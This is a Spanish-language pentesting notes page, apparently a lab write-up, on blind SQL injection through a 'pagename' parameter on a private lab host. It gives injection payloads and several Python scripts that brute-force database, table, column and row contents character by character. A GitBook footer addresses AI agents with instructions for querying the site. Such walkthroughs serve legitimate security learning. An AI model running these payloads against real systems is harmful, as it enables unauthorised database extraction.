> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-pagename-pentesting-web.md).

# Nombre de página SQLi

## Inyección SQL:

**Detección de una vulnerabilidad de inyección SQL** Al añadir una apóstrofe en el campo "home", aparece un error SQL, lo que proporciona una posible vulnerabilidad a un ataque de inyección SQL.

<figure><img src="/files/dcc1140f6630789f790e897ffdadfa98bf2db928" alt=""><figcaption></figcaption></figure>

**Explotación de la vulnerabilidad de inyección SQL** Introduciendo la inyección SQL `/cms.php?pagename=home' or '1'='1`no aparece ningún error, confirmando la vulnerabilidad.

<figure><img src="/files/d4019d42f458582fd0555beb6da3346b0a7ed8c7" alt=""><figcaption></figcaption></figure>

**Extracción del nombre de la base de datos con Substring** Ahora, con este punto de entrada, usamos el **substring** parámetro para encontrar los caracteres del nombre de la base de datos introduciendo letras hasta que desaparezcan los errores. Aquí hay un ejemplo para los tres primeros caracteres:

* Primera letra: `/cms.php?pagename=home' or substring(database(),1,1)='a`
* Segunda letra: `/cms.php?pagename=home' or substring(database(),2,1)='d`
* Tercera letra: `/cms.php?pagename=home' or substring(database(),3,1)='m` Primero, un script de Python puede automatizar todo el proceso para obtener **el nombre de la base de datos**.

<pre class="language-python"><code class="lang-python"><strong>#!/usr/bin/python3
</strong>from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
    print("/n/n[!] Saliendo.../n")
    sys.exit(1)

#Ctrl +c

signal.signal(signal.SIGINT, def_handler)

#Variables globales

characters = string.ascii_lowercase
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
    headers = {
        'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'
    }
    data = ""
    p1 = log.progress("SQLI")
    p1.status("Iniciando la inyección SQL...")
    time.sleep(2)
    p2 = log.progress("Datos")
    for position in range(1, 6 ):
        for character in characters:
            sqli_url = main_url + "home' or substring(database(),%d,1)='%s" % (position, character)
            r = requests.get(sqli_url, headers=headers)
            if "Welcome to the IMF Administration." not in r.text:
                data += character
                p2.status(data)
                break
    p1.success("Ataque de fuerza bruta SQLI concluido")
    p2.success(data)
if __name__ == '__main__':
    sqli()
</code></pre>

<figure><img src="/files/c362dac799e64574ebe86d5fa8d9d5ef878def10" alt=""><figcaption></figcaption></figure>

Luego, un script de Python para automatizar todo el proceso para **obtener los nombres** de todas las bases de datos.

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
    print("/n/n[!] Saliendo.../n")
    sys.exit(1)
#Ctrl +c
signal.signal(signal.SIGINT, def_handler)
#Variables globales
characters = string.ascii_lowercase + "_,:" + string.digits
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
    headers = {
        'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'
    }
    data = ""
    p1 = log.progress("SQLI")
    p1.status("Iniciando la inyección SQL...")
    time.sleep(2)
    p2 = log.progress("Datos")
    for position in range(1, 100):
        for character in characters:
            sqli_url = main_url + "home' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)
            r = requests.get(sqli_url, headers=headers)
            if "Welcome to the IMF Administration." not in r.text:
                data += character
                p2.status(data)
                break
    p1.success("Ataque de fuerza bruta SQLI concluido")
    p2.success(data)
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/13caf4223408b3c740b696e822a104e3e98c7f80" alt=""><figcaption></figcaption></figure>

Ahora, un script de Python para automatizar todo el proceso para **obtener el nombre de las tablas** de la base de datos (admin).

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
    print("/n/n[!] Saliendo.../n")
    sys.exit(1)
#Ctrl +c
signal.signal(signal.SIGINT, def_handler)
#Variables globales
characters = string.ascii_lowercase + "_,:" + string.digits
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
    headers = {
        'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'
    }
    data = ""
    p1 = log.progress("SQLI")
    p1.status("Iniciando la inyección SQL...")
    time.sleep(2)
    p2 = log.progress("Datos")
    for position in range(1, 100):
        for character in characters:
            sqli_url = main_url + "home' or substring((select group_concat(table_name) from information_schema.tables where table_schema='admin'),%d,1)='%s" % (position, chara
cter)
            r = requests.get(sqli_url, headers=headers)
            if "Welcome to the IMF Administration." not in r.text:
                data += character
                p2.status(data)
                break
    p1.success("Ataque de fuerza bruta SQLI concluido")
    p2.success(data)
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/c9cff9730259def2c41c41a69882638e6cfac656" alt=""><figcaption></figcaption></figure>

Ahora, un script de Python para automatizar todo el proceso para **obtener el nombre de las columnas** de la base de datos (admin).

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
    print("/n/n[!] Saliendo.../n")
    sys.exit(1)
#Ctrl +c
signal.signal(signal.SIGINT, def_handler)
#Variables globales
characters = string.ascii_lowercase + "_,:" + string.digits
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
    headers = {
        'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'
    }
    data = ""
    p1 = log.progress("SQLI")
    p1.status("Iniciando la inyección SQL...")
    time.sleep(2)
    p2 = log.progress("Datos")
    for position in range(1, 100):
        for character in characters:
            sqli_url = main_url + "home' or substring((select group_concat(column_name) from information_schema.columns where table_schema='admin' and table_name='pages'),%d,1
)='%s" % (position, character)
            r = requests.get(sqli_url, headers=headers)
            if "Welcome to the IMF Administration." not in r.text:
                data += character
                p2.status(data)
                break
    p1.success("Ataque de fuerza bruta SQLI concluido")
    p2.success(data)
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/365da0d0ce5c88ac269771d0070631dd6d5e2ee3" alt=""><figcaption></figcaption></figure>

Ahora, un script de Python para automatizar todo el proceso para **obtener el contenido** de la columna pagename de la base de datos (admin).

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
    print("/n/n[!] Saliendo.../n")
    sys.exit(1)
#Ctrl +c
signal.signal(signal.SIGINT, def_handler)
#Variables globales
characters = string.ascii_lowercase + "$%-/_,;:" + string.digits
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
    headers = {
        'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'
    }
    data = ""
    p1 = log.progress("SQLI")
    p1.status("Iniciando la inyección SQL...")
    time.sleep(2)
    p2 = log.progress("Datos")
    for position in range(1, 500):
        for character in characters:
            sqli_url = main_url + "home' or substring((select group_concat(pagename) from pages),%d,1)='%s" % (position, character)
            r = requests.get(sqli_url, headers=headers)
            if "Welcome to the IMF Administration." not in r.text:
                data += character
                p2.status(data)
                break
    p1.success("Ataque de fuerza bruta SQLI concluido")
    p2.success(data)
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/cf943d66ba54c9b05b2d01b05e0a8f4af328c742" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-pagename-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
